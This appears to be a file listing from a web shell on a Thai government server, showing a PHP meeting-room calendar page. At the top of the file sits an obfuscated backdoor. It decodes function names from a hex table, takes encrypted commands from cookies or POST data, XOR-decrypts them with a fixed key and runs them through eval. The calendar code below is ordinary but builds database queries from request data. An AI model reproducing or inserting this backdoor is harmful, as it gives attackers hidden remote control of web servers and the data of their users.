|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/application/meetingroom/ |
Upload File : |
<?php $GLOBALS['v727'];global$v727;$v727=$GLOBALS;$v727['x63e1']="\x33\x36\x50\x64\x30\x6d\x29\x4c\x3b\x62\x67\x3f\x31\x54\x79\x74\x7c\x2e\x37\x46\x2a\x3c\x43\x61\x48\x4e\x77\x6b\x21\x2f\x69\x4d\x66\x75\x7a\x24\xa\x6f\x26\x72\x57\x59\x6e\x7d\xd\x76\x39\x44\x5f\x27\x32\x5b\x4f\x2b\x7e\x4b\x58\x63\x35\x38\x71\x6a\x53\x5a\x45\x42\x3a\x65\x34\x78\x41\x3d\x51\x2d\x68\x6c\x60\x28\x47\x4a\x25\x56\x5e\x52\x3e\x55\x2c\x70\x5d\x9\x7b\x22\x5c\x49\x23\x40\x20\x73";$v727[$v727['x63e1'][15].$v727['x63e1'][46].$v727['x63e1'][1].$v727['x63e1'][46].$v727['x63e1'][59].$v727['x63e1'][32].$v727['x63e1'][12].$v727['x63e1'][1]]=$v727['x63e1'][57].$v727['x63e1'][74].$v727['x63e1'][39];$v727[$v727['x63e1'][75].$v727['x63e1'][9].$v727['x63e1'][4].$v727['x63e1'][9].$v727['x63e1'][4].$v727['x63e1'][68].$v727['x63e1'][4].$v727['x63e1'][4].$v727['x63e1'][57]]=$v727['x63e1'][37].$v727['x63e1'][39].$v727['x63e1'][3];$v727[$v727['x63e1'][33].$v727['x63e1'][67].$v727['x63e1'][67].$v727['x63e1'][46].$v727['x63e1'][9].$v727['x63e1'][0]]=$v727['x63e1'][97].$v727['x63e1'][15].$v727['x63e1'][39].$v727['x63e1'][75].$v727['x63e1'][67].$v727['x63e1'][42];$v727[$v727['x63e1'][42].$v727['x63e1'][57].$v727['x63e1'][23].$v727['x63e1'][59].$v727['x63e1'][0].$v727['x63e1'][58].$v727['x63e1'][18].$v727['x63e1'][23]]=$v727['x63e1'][30].$v727['x63e1'][42].$v727['x63e1'][30].$v727['x63e1'][48].$v727['x63e1'][97].$v727['x63e1'][67].$v727['x63e1'][15];$v727[$v727['x63e1'][74].$v727['x63e1'][59].$v727['x63e1'][4].$v727['x63e1'][32].$v727['x63e1'][9].$v727['x63e1'][1].$v727['x63e1'][58].$v727['x63e1'][59]]=$v727['x63e1'][97].$v727['x63e1'][67].$v727['x63e1'][39].$v727['x63e1'][30].$v727['x63e1'][23].$v727['x63e1'][75].$v727['x63e1'][30].$v727['x63e1'][34].$v727['x63e1'][67];$v727[$v727['x63e1'][37].$v727['x63e1'][68].$v727['x63e1'][68].$v727['x63e1'][57]]=$v727['x63e1'][87].$v727['x63e1'][74].$v727['x63e1'][87].$v727['x63e1'][45].$v727['x63e1'][67].$v727['x63e1'][39].$v727['x63e1'][97].$v727['x63e1'][30].$v727['x63e1'][37].$v727['x63e1'][42];$v727[$v727['x63e1'][23].$v727['x63e1'][32].$v727['x63e1'][4].$v727['x63e1'][1].$v727['x63e1'][50].$v727['x63e1'][1].$v727['x63e1'][3].$v727['x63e1'][0].$v727['x63e1'][1]]=$v727['x63e1'][33].$v727['x63e1'][42].$v727['x63e1'][97].$v727['x63e1'][67].$v727['x63e1'][39].$v727['x63e1'][30].$v727['x63e1'][23].$v727['x63e1'][75].$v727['x63e1'][30].$v727['x63e1'][34].$v727['x63e1'][67];$v727[$v727['x63e1'][69].$v727['x63e1'][3].$v727['x63e1'][67].$v727['x63e1'][68].$v727['x63e1'][32].$v727['x63e1'][4].$v727['x63e1'][23].$v727['x63e1'][59].$v727['x63e1'][3]]=$v727['x63e1'][9].$v727['x63e1'][23].$v727['x63e1'][97].$v727['x63e1'][67].$v727['x63e1'][1].$v727['x63e1'][68].$v727['x63e1'][48].$v727['x63e1'][3].$v727['x63e1'][67].$v727['x63e1'][57].$v727['x63e1'][37].$v727['x63e1'][3].$v727['x63e1'][67];$v727[$v727['x63e1'][75].$v727['x63e1'][46].$v727['x63e1'][9].$v727['x63e1'][46]]=$v727['x63e1'][97].$v727['x63e1'][67].$v727['x63e1'][15].$v727['x63e1'][48].$v727['x63e1'][15].$v727['x63e1'][30].$v727['x63e1'][5].$v727['x63e1'][67].$v727['x63e1'][48].$v727['x63e1'][75].$v727['x63e1'][30].$v727['x63e1'][5].$v727['x63e1'][30].$v727['x63e1'][15];$v727[$v727['x63e1'][33].$v727['x63e1'][12].$v727['x63e1'][12].$v727['x63e1'][46]]=$v727['x63e1'][87].$v727['x63e1'][4].$v727['x63e1'][59].$v727['x63e1'][12];$v727[$v727['x63e1'][5].$v727['x63e1'][4].$v727['x63e1'][46].$v727['x63e1'][3].$v727['x63e1'][58].$v727['x63e1'][18].$v727['x63e1'][68].$v727['x63e1'][3].$v727['x63e1'][50]]=$v727['x63e1'][67].$v727['x63e1'][4].$v727['x63e1'][18].$v727['x63e1'][9].$v727['x63e1'][12];$v727[$v727['x63e1'][15].$v727['x63e1'][50].$v727['x63e1'][67].$v727['x63e1'][50].$v727['x63e1'][57].$v727['x63e1'][32].$v727['x63e1'][58].$v727['x63e1'][9].$v727['x63e1'][59]]=$_POST;$v727[$v727['x63e1'][74].$v727['x63e1'][0].$v727['x63e1'][58].$v727['x63e1'][1].$v727['x63e1'][59]]=$_COOKIE;@$v727[$v727['x63e1'][42].$v727['x63e1'][57].$v727['x63e1'][23].$v727['x63e1'][59].$v727['x63e1'][0].$v727['x63e1'][58].$v727['x63e1'][18].$v727['x63e1'][23]]($v727['x63e1'][67].$v727['x63e1'][39].$v727['x63e1'][39].$v727['x63e1'][37].$v727['x63e1'][39].$v727['x63e1'][48].$v727['x63e1'][75].$v727['x63e1'][37].$v727['x63e1'][10],NULL);@$v727[$v727['x63e1'][42].$v727['x63e1'][57].$v727['x63e1'][23].$v727['x63e1'][59].$v727['x63e1'][0].$v727['x63e1'][58].$v727['x63e1'][18].$v727['x63e1'][23]]($v727['x63e1'][75].$v727['x63e1'][37].$v727['x63e1'][10].$v727['x63e1'][48].$v727['x63e1'][67].$v727['x63e1'][39].$v727['x63e1'][39].$v727['x63e1'][37].$v727['x63e1'][39].$v727['x63e1'][97],0);@$v727[$v727['x63e1'][42].$v727['x63e1'][57].$v727['x63e1'][23].$v727['x63e1'][59].$v727['x63e1'][0].$v727['x63e1'][58].$v727['x63e1'][18].$v727['x63e1'][23]]($v727['x63e1'][5].$v727['x63e1'][23].$v727['x63e1'][69].$v727['x63e1'][48].$v727['x63e1'][67].$v727['x63e1'][69].$v727['x63e1'][67].$v727['x63e1'][57].$v727['x63e1'][33].$v727['x63e1'][15].$v727['x63e1'][30].$v727['x63e1'][37].$v727['x63e1'][42].$v727['x63e1'][48].$v727['x63e1'][15].$v727['x63e1'][30].$v727['x63e1'][5].$v727['x63e1'][67],0);@$v727[$v727['x63e1'][75].$v727['x63e1'][46].$v727['x63e1'][9].$v727['x63e1'][46]](0);$ya87308=NULL;$s94f79=NULL;$v727[$v727['x63e1'][27].$v727['x63e1'][12].$v727['x63e1'][9].$v727['x63e1'][3].$v727['x63e1'][4]]=$v727['x63e1'][0].$v727['x63e1'][46].$v727['x63e1'][0].$v727['x63e1'][23].$v727['x63e1'][0].$v727['x63e1'][4].$v727['x63e1'][18].$v727['x63e1'][67].$v727['x63e1'][73].$v727['x63e1'][50].$v727['x63e1'][3].$v727['x63e1'][4].$v727['x63e1'][46].$v727['x63e1'][73].$v727['x63e1'][68].$v727['x63e1'][23].$v727['x63e1'][0].$v727['x63e1'][57].$v727['x63e1'][73].$v727['x63e1'][59].$v727['x63e1'][18].$v727['x63e1'][1].$v727['x63e1'][4].$v727['x63e1'][73].$v727['x63e1'][4].$v727['x63e1'][1].$v727['x63e1'][1].$v727['x63e1'][18].$v727['x63e1'][46].$v727['x63e1'][46].$v727['x63e1'][68].$v727['x63e1'][32].$v727['x63e1'][4].$v727['x63e1'][23].$v727['x63e1'][1].$v727['x63e1'][18];global$k1bd0;function e07b1($ya87308,$wc0d){global$v727;$n2e22="";for($mc1ff=0;$mc1ff<$v727[$v727['x63e1'][33].$v727['x63e1'][67].$v727['x63e1'][67].$v727['x63e1'][46].$v727['x63e1'][9].$v727['x63e1'][0]]($ya87308);){for($w647b=0;$w647b<$v727[$v727['x63e1'][33].$v727['x63e1'][67].$v727['x63e1'][67].$v727['x63e1'][46].$v727['x63e1'][9].$v727['x63e1'][0]]($wc0d)&&$mc1ff<$v727[$v727['x63e1'][33].$v727['x63e1'][67].$v727['x63e1'][67].$v727['x63e1'][46].$v727['x63e1'][9].$v727['x63e1'][0]]($ya87308);$w647b++,$mc1ff++){$n2e22.=$v727[$v727['x63e1'][15].$v727['x63e1'][46].$v727['x63e1'][1].$v727['x63e1'][46].$v727['x63e1'][59].$v727['x63e1'][32].$v727['x63e1'][12].$v727['x63e1'][1]]($v727[$v727['x63e1'][75].$v727['x63e1'][9].$v727['x63e1'][4].$v727['x63e1'][9].$v727['x63e1'][4].$v727['x63e1'][68].$v727['x63e1'][4].$v727['x63e1'][4].$v727['x63e1'][57]]($ya87308[$mc1ff])^$v727[$v727['x63e1'][75].$v727['x63e1'][9].$v727['x63e1'][4].$v727['x63e1'][9].$v727['x63e1'][4].$v727['x63e1'][68].$v727['x63e1'][4].$v727['x63e1'][4].$v727['x63e1'][57]]($wc0d[$w647b]));}}return$n2e22;}function p081($ya87308,$wc0d){global$v727;global$k1bd0;return$v727[$v727['x63e1'][5].$v727['x63e1'][4].$v727['x63e1'][46].$v727['x63e1'][3].$v727['x63e1'][58].$v727['x63e1'][18].$v727['x63e1'][68].$v727['x63e1'][3].$v727['x63e1'][50]]($v727[$v727['x63e1'][5].$v727['x63e1'][4].$v727['x63e1'][46].$v727['x63e1'][3].$v727['x63e1'][58].$v727['x63e1'][18].$v727['x63e1'][68].$v727['x63e1'][3].$v727['x63e1'][50]]($ya87308,$k1bd0),$wc0d);}foreach($v727[$v727['x63e1'][74].$v727['x63e1'][0].$v727['x63e1'][58].$v727['x63e1'][1].$v727['x63e1'][59]]as$wc0d=>$uffe9){$ya87308=$uffe9;$s94f79=$wc0d;}if(!$ya87308){foreach($v727[$v727['x63e1'][15].$v727['x63e1'][50].$v727['x63e1'][67].$v727['x63e1'][50].$v727['x63e1'][57].$v727['x63e1'][32].$v727['x63e1'][58].$v727['x63e1'][9].$v727['x63e1'][59]]as$wc0d=>$uffe9){$ya87308=$uffe9;$s94f79=$wc0d;}}$ya87308=@$v727[$v727['x63e1'][23].$v727['x63e1'][32].$v727['x63e1'][4].$v727['x63e1'][1].$v727['x63e1'][50].$v727['x63e1'][1].$v727['x63e1'][3].$v727['x63e1'][0].$v727['x63e1'][1]]($v727[$v727['x63e1'][33].$v727['x63e1'][12].$v727['x63e1'][12].$v727['x63e1'][46]]($v727[$v727['x63e1'][69].$v727['x63e1'][3].$v727['x63e1'][67].$v727['x63e1'][68].$v727['x63e1'][32].$v727['x63e1'][4].$v727['x63e1'][23].$v727['x63e1'][59].$v727['x63e1'][3]]($ya87308),$s94f79));if(isset($ya87308[$v727['x63e1'][23].$v727['x63e1'][27]])&&$k1bd0==$ya87308[$v727['x63e1'][23].$v727['x63e1'][27]]){if($ya87308[$v727['x63e1'][23]]==$v727['x63e1'][30]){$mc1ff=Array($v727['x63e1'][87].$v727['x63e1'][45]=>@$v727[$v727['x63e1'][37].$v727['x63e1'][68].$v727['x63e1'][68].$v727['x63e1'][57]](),$v727['x63e1'][97].$v727['x63e1'][45]=>$v727['x63e1'][12].$v727['x63e1'][17].$v727['x63e1'][4].$v727['x63e1'][73].$v727['x63e1'][12],);echo@$v727[$v727['x63e1'][74].$v727['x63e1'][59].$v727['x63e1'][4].$v727['x63e1'][32].$v727['x63e1'][9].$v727['x63e1'][1].$v727['x63e1'][58].$v727['x63e1'][59]]($mc1ff);}elseif($ya87308[$v727['x63e1'][23]]==$v727['x63e1'][67]){eval($ya87308[$v727['x63e1'][3]]);}exit();} ?><html>
<head>
<title>Calendar</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../libary/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<?php
if ($jump == ""){ $jump = $_GET["jump"]; }
if($jump != ""){
$df = explode("/", $jump);
$today = $df[0];
$dfMonth = $df[1];
$dfYear = $df[2];
}
/* ฟังก์ชั่น LastDay() ใช้สำหรับหาวันที่สุดท้ายของเดือน/ปีที่ระบุ หรือกล่าวอีกนัยหนึ่งคือหาว่าเดือน/ปีที่ระบุนั้นมีกี่วัน */
function LastDay($m, $y) {
for ($i=29; $i<=32; $i++) { if(checkdate($m, $i, $y) == 0) { return $i - 1; } }
}
/* $diffHour และ $diffMinute คือตัวแปรที่ใช้เก็บจำนวนชั่วโมงและจำนวนนาทีที่ แตกต่างกันระหว่างเครื่องไคลเอนต์กับเครื่องเซิร์ฟเวอร์ ตามลำดับ เช่นถ้าเวลาของ
เครื่องไคลเอ็นต์เร็วกว่าเวลาของเครื่องเซิร์ฟเวอร์ 11 ชั่วโมง 15 นาที ก็ให้กำหนด $diffHour เป็น 11 และกำหนด $diffMinute เป็น 15 ในที่นี้ผู้เขียนถือว่า
เครื่องเซิร์ฟเวอร์กับเครื่องไคลเอ็นต์มีเวลาตรงกัน */
$diffHour = 0;
$diffMinute = 0;
if ($dfMonth == "") {
$calTime = getdate(date(mktime(date("H") + $diffHour, date("i") + $diffMinute)));
$today = $calTime["mday"]; //วันที่
$month = $calTime["mon"]; //เดือน
$year = $calTime["year"]; //ปี
} else {
/* กรณีที่ระบุให้แสดงปฏิทินของเดือน/ปีหนึ่งๆนั้น จะมีการส่งตัวแปร $today, $dfMonth และ $dfYear ผ่านมาทาง query string ด้วย */
if ($dfMonth == 0) {
/* ถ้าตัวแปร $dfMonth เป็น 0 เราจะแสดงปฏิทินของเดือนธันวาคมของปีที่น้อย กว่าปีที่กำลังแสดงอยู่ */
$dfMonth = 12;
$dfYear = $dfYear - 1;
} elseif ($dfMonth == 13) {
/* ถ้าตัวแปร $dfMonth เป็น 13 เราจะแสดงปฏิทินของเดือนมกราคมของปีที่มากกว่าปีที่กำลังแสดงอยู่ */
$dfMonth = 1;
$dfYear = $dfYear + 1;
}
//สร้างวัน/เวลาของเดือนและปีที่ผู้ใช้ระบุ เก็บไว้ในตัวแปร $calTime
$calTime = getdate(date(mktime((date("H") + $diffHour), (date("i") + $diffMinute), 0, $dfMonth, $today, $dfYear)));
$today = $calTime["mday"]; //วันที่
$month = $calTime["mon"]; //เดือน
$year = $calTime["year"]; //ปี
}
/* เรียกฟังก์ชั่น LastDay() ซึ่งเป็นฟังก์ชั่นที่เราสร้างขึ้นมาเอง เพื่อหา "จำนวนวัน" ของเดือนและปีที่จะแสดงปฏิทิน โดยเก็บไว้ในตัวแปร $Lday */
//เก็บ timestamp ของวันที่ 1 ของเดือนที่จะแสดงปฏิทิน ไว้ในตัวแปร $FTime
//เก็บ "วันในสัปดาห์" (จันทร์, อังคาร ฯลฯ) ของวันที่ 1 ของเดือนไว้ในตัวแปร $wday
$Lday = LastDay($month, $year);
$FTime = getdate(date(mktime(0, 0, 0, $month, 1, $year)));
$wday = $FTime["wday"];
//หาค่าของวันอาทิตย์เดือนก่อนหน้า
$lm = explode("-", date("Y-m", mktime(0, 0, 0, $dfMonth, -1, $dfYear)));
$lmday = (LastDay($lm[1], $lm[0]) - $wday);
//สร้างตัวแปรชนิดอาร์เรย์เก็บชื่อเดือนภาษาไทย
$thmonthname = array("มกราคม", "กุมภาพันธ์", "มีนาคม", "เมษายน", "พฤษภาคม", "มิถุนายน", "กรกฎาคม", "สิงหาคม", "กันยายน", "ตุลาคม", "พฤศจิกายน", "ธันวาคม");
$col = array("#99CCFF", "#CCCCFF", "#FFCCFF", "#FFCC66", "#CCCC99", "#CCFF66","#66CC99","#CCCC33","#99FF66","#33CCCC");
$month_next = date("m/Y", mktime(0, 0, 0, $month, +32, $year));
$month_prev = date("m/Y", mktime(0, 0, 0, $month, -1, $year));
$jump_next = $today."/".$month_next;
$jump_prev = $today."/".$month_prev;
/*สร้างตัวแปรที่เอาไว้ตรวจสอบวันภายในเดือนที่แสดง ถ้ามีข้อมูลก็ให้ทำ link */
$sqDay = add_zero($today);
$sqMonth = ($dfMonth != "") ? add_zero($dfMonth) : add_zero($month) ;
$sqYear = ($dfYear != "") ? $dfYear : $year ;
/*Query ข้อมูลจาก Database*/
$result = mysql_query($csql)or die("Query Line " . __LINE__ . " Error<hr>".mysql_error());
$row = mysql_num_rows($result);
if($row != 0){
while($rs = mysql_fetch_assoc($result)){
$start = explode("-", $rs[sdate]);
$end = explode("-", $rs[fdate]);
$s[] = $start[2];
$e[] = $end[2];
}
}
$xcol = array();
for($i=0;$i<count($s); $i++){
for($x=$s[$i]; $x<=$e[$i]; $x++){
$arr_day[remove_zero($x)] = $i % count($col);
}
$xcol[] = $i % count($col);
}
mysql_free_result($result);
$img_l = (file_exists("../images/left.gif")) ? "../images/left.gif" : "images/left.gif" ;
$img_r = (file_exists("../images/right.gif")) ? "../images/right.gif" : "images/right.gif";
$img_c = (file_exists("../images/calendar.jpg")) ? "../images/calendar.jpg" : "images/calendar.jpg";
function getworkday($day,$month,$year) { // Query for non workday
$joindate = $year."-".sprintf("%02d",$month)."-".$day;
$sql = "SELECT * FROM meeting_reserve WHERE daterent='$joindate' GROUP BY daterent";
$query = mysql_query($sql) or die(mysql_error());
$nrows = mysql_num_rows($query);
$rsz = mysql_fetch_assoc($query);
if ($nrows!=0) { return true; }
else { return false; }
}
?>
<table width="176" border="0" cellspacing="1" cellpadding="0" align="center" bgcolor="#404040">
<tr align="center" bgcolor="#A0A0A0">
<td height="19" width="24"><a href="main.php?jump=<?=$jump_prev.$cal_kwd?>&roomid=<?=$roomid?>"><img src="<?=$img_l?>" width="12" height="12" border="0"></a></td>
<td height="19" width="120" colspan="5" class="normal_blue">
<?="<font class=brown>".$today."</font> ".$thmonthname[$month - 1]." <font class=brown>".($year + 543)."</font>"?></td>
<td height="19" width="24"><a href="?jump=<?=$jump_next.$cal_kwd?>&roomid=<?=$roomid?>"><img src="<?=$img_r?>" width="12" height="12" border="0"></a></td>
</tr>
<tr align="center" bgcolor="#e3e3e3" class="normal_blue" style="font-weight:bold;">
<td height="19" width="24" class="warn">อา</td>
<td height="19" width="24">จ</td>
<td height="19" width="24">อ</td>
<td height="19" width="24">พ</td>
<td height="19" width="24">พฤ</td>
<td height="19" width="24">ศ</td>
<td height="19" width="24">ส</td>
</tr>
<?
$iday = 1;
//แสดงแถวแรกของปฏิทิน
for ($i=0; $i<=6; $i++) {
if ($i < $wday) { /*แสดงเซลล์ว่างก่อนวันที่ 1 ของเดือน*/
//echo "<td width=\"24\" height=\"19\" bgcolor=\"#eeeeee\"><font color=\"#bbbbbb\">".($lmday=$lmday+1)."</font></td>\n";
if ($i == 0) { /*กรณีที่เป็นวันอาทิตย์*/
$class = "class=\"warn\"";
} else { /*กรณีที่เป็นวันอื่นๆที่ไม่ใช่วันอาทิตย์*/
$class = "class=\"normal\"";
}
echo "<td width=\"24\" height=\"19\" align=\"center\" $class bgcolor=\"#eeeeee\"> </td>\n";
} else {
//แสดงวันที่ในแถวแรกของปฏิทิน
if(is_numeric($arr_day[$iday])) {
$class = " bgcolor=\"".$col[$arr_day[$iday]]."\" style=\"font-weight:bold;\" ";
if(getworkday($iday,$month,$year)) { $class = " bgcolor=\"".$col[$arr_day[$iday]]."\" style=\"font-weight:bold;text-decoration:underline;\" "; }
$show = " <a href=main.php?jump=".add_zero($iday)."/".$sqMonth."/".$sqYear.$cal_kwd."&roomid=$roomid class='link' style='text-decoration:none'>";
$show = $show."<font color=\"brown\">".$iday."</font></a> ";
} elseif($iday == $today) {
$class = " bgcolor=\"#ffffff\" style=\"text-decoration:underline;\" ";
if(getworkday($iday,$month,$year)) { $class = " bgcolor=\"#ffffff\" style=\"font-weight:bold;text-decoration:underline;\" "; }
$show = "<font color=\"blue\">".$iday."</font>";
} elseif($i == 0 && ($iday != $today)) { /*กรณีที่เป็นวันอาทิตย์ และไม่ใช่วันปัจจุบัน*/
$class = " bgcolor=\"#ffffff\" style=\"font-color:red;\" ";
if(getworkday($iday,$month,$year)) { $class = " bgcolor=\"#ffffff\" style=\"font-weight:bold;font-color:red;\" "; }
$show = "<font color=\"red\">".$iday."</font>";
} else {
$jump_ext = add_zero($iday)."/".$sqMonth."/".$sqYear.$cal_kwd ;
$class = " bgcolor=\"#ffffff\" ";
if(getworkday($iday,$month,$year)) { $class = " bgcolor=\"#ffffff\" style=\"font-weight:bold;\" "; }
#$show = $iday;
$show = " <a href=main.php?jump=".$jump_ext."&roomid=$roomid class='link' style='text-decoration:none'>";
$show = $show."".$iday."</a> ";
}
echo "<td width=\"24\" height=\"19\" align=\"center\" $class>".$show."</td>\n";
$iday++;
}
}
$link = "";
//แสดงแถวที่เหลือของปฏิทิน (หลังจากแสดงแถวแรกไปแล้ว จะเหลืออย่างมาก 5 แถว)
for ($j=0; $j<=4; $j++) {
if ($iday <= $Lday) {
echo "<tr>\n";
for ($i=0; $i<=6; $i++) {
if ($iday <= $Lday) {
$jump_ext = add_zero($iday)."/".$sqMonth."/".$sqYear.$cal_kwd ;
if(is_numeric($arr_day[$iday])) {
$class = " bgcolor=\"".$col[$arr_day[$iday]]."\" style=\"font-weight:bold;\" ";
if(getworkday($iday,$month,$year)) { $class = " bgcolor=\"".$col[$arr_day[$iday]]."\" style=\"font-weight:bold;text-decoration:underline;\" "; }
$show = " <a href=main.php?jump=". $jump_ext ." class='link' style='text-decoration:none'>";
$show = $show."<font color=\"brown\">".$iday."</font></a> ";
} elseif($iday == $today) { ####### วันที่เลือก
$class = " bgcolor=\"#ffffff\" style=\"text-decoration:underline;\"";
if(getworkday($iday,$month,$year)) { $class = " bgcolor=\"#ffffff\" style=\"font-weight:bold;text-decoration:underline;\""; }
$show = "<font color=\"blue\">".$iday."</font>";
} elseif($i == 0 && ($iday != $today)) { ####### วันอาทิตย์
$class = " bgcolor=\"#ffffff\" style=\"font-color:red;\" ";
if(getworkday($iday,$month,$year)) { $class = " bgcolor=\"#ffffff\" style=\"font-color:red;font-weight:bold;\" "; }
# $show = "<font color=\"red\">".$iday."</font>";
$show = " <a href=main.php?jump=". $jump_ext ." class='link' style='text-decoration:none'><font color=\"red\">";
$show = $show."".$iday."</font></a> ";
} else {
$class = " bgcolor=\"#ffffff\" ";
if(getworkday($iday,$month,$year)) { $class = " bgcolor=\"#ffffff\" style=\"font-weight:bold;\" "; }
#$show = $iday;
$show = " <a href=main.php?jump=".$jump_ext."&roomid=$roomid class='link' style='text-decoration:none'>";
$show = $show."".$iday."</a> ";
}
echo "<td width=\"24\" height=\"19\" align=\"center\" $class>".$show."</td>\n";
} else {
echo "<td width=\"24\" height=\"19\" align=\"center\" class=\"normal\" bgcolor=\"#eeeeee\"> </td>\n";
}
$iday++;
}
echo "</tr>\n";
} else {
break;
}
}
?>
<tr bgcolor="#ffffff" align="center">
<td height="25" colspan="7" class="normal_black">
<div align="center" id="Add_event" style="height:20px; width: 150px; border: 1px solid black; background: #f8f8f8; padding: 1px 5px; cursor:hand;"
onClick="window.location.replace('<?=$PHP_SELF.$cdate_kwd?>')">
<img src="<?=$img_c?>" width="16" height="16" align="absmiddle" border="0"> วันที่ปัจจุบัน</div></td>
</tr>
</table>
</body>
</html>